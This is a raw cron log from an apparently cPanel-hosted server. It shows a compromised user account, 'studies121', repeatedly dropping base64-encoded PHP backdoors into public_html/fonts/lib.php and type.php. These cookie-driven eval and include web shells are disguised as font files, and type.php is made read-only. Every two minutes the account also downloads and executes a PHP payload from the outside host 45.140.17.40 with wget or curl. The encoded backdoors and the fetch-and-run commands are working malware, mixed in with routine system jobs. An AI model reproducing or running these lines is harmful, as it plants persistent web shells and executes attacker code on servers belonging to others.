Sep  5 23:29:01 ip-184-168-122-23 CROND[10553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:29:01 ip-184-168-122-23 CROND[10555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:29:01 ip-184-168-122-23 CROND[10554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:30:01 ip-184-168-122-23 CROND[10637]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 23:30:01 ip-184-168-122-23 CROND[10640]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:30:01 ip-184-168-122-23 CROND[10642]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:30:01 ip-184-168-122-23 CROND[10646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:30:01 ip-184-168-122-23 CROND[10643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:30:01 ip-184-168-122-23 CROND[10644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:30:01 ip-184-168-122-23 CROND[10645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:30:01 ip-184-168-122-23 CROND[10647]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:31:01 ip-184-168-122-23 CROND[10736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:31:01 ip-184-168-122-23 CROND[10738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:31:01 ip-184-168-122-23 CROND[10737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:31:01 ip-184-168-122-23 CROND[10740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:31:01 ip-184-168-122-23 CROND[10739]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 23:32:01 ip-184-168-122-23 CROND[10824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:32:01 ip-184-168-122-23 CROND[10822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:32:01 ip-184-168-122-23 CROND[10823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:32:01 ip-184-168-122-23 CROND[10825]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:32:01 ip-184-168-122-23 CROND[10826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:33:01 ip-184-168-122-23 CROND[10914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:33:01 ip-184-168-122-23 CROND[10916]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:33:01 ip-184-168-122-23 CROND[10917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:33:01 ip-184-168-122-23 CROND[10918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:34:01 ip-184-168-122-23 CROND[11098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:34:01 ip-184-168-122-23 CROND[11100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:34:01 ip-184-168-122-23 CROND[11101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:34:01 ip-184-168-122-23 CROND[11102]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:34:01 ip-184-168-122-23 CROND[11103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:35:01 ip-184-168-122-23 CROND[11228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:35:01 ip-184-168-122-23 CROND[11230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:35:01 ip-184-168-122-23 CROND[11233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:35:01 ip-184-168-122-23 CROND[11234]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 23:35:01 ip-184-168-122-23 CROND[11231]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 23:35:01 ip-184-168-122-23 CROND[11232]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:35:01 ip-184-168-122-23 CROND[11235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:35:01 ip-184-168-122-23 CROND[11236]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:36:01 ip-184-168-122-23 CROND[11331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:36:01 ip-184-168-122-23 CROND[11333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:36:01 ip-184-168-122-23 CROND[11332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:36:01 ip-184-168-122-23 CROND[11335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:36:01 ip-184-168-122-23 CROND[11334]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:37:01 ip-184-168-122-23 CROND[11422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:37:01 ip-184-168-122-23 CROND[11426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:37:01 ip-184-168-122-23 CROND[11424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:37:01 ip-184-168-122-23 CROND[11425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:38:01 ip-184-168-122-23 CROND[11500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:38:01 ip-184-168-122-23 CROND[11501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:38:01 ip-184-168-122-23 CROND[11502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:38:01 ip-184-168-122-23 CROND[11504]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:38:01 ip-184-168-122-23 CROND[11503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:39:01 ip-184-168-122-23 CROND[11601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:39:01 ip-184-168-122-23 CROND[11602]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:39:01 ip-184-168-122-23 CROND[11603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:39:01 ip-184-168-122-23 CROND[11605]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 23:39:01 ip-184-168-122-23 CROND[11608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:40:01 ip-184-168-122-23 CROND[11704]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 23:40:01 ip-184-168-122-23 CROND[11705]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:40:02 ip-184-168-122-23 CROND[11708]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:40:02 ip-184-168-122-23 CROND[11706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:40:02 ip-184-168-122-23 CROND[11710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:40:02 ip-184-168-122-23 CROND[11709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:40:02 ip-184-168-122-23 CROND[11711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:40:02 ip-184-168-122-23 CROND[11707]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:41:01 ip-184-168-122-23 CROND[11887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:41:01 ip-184-168-122-23 CROND[11889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
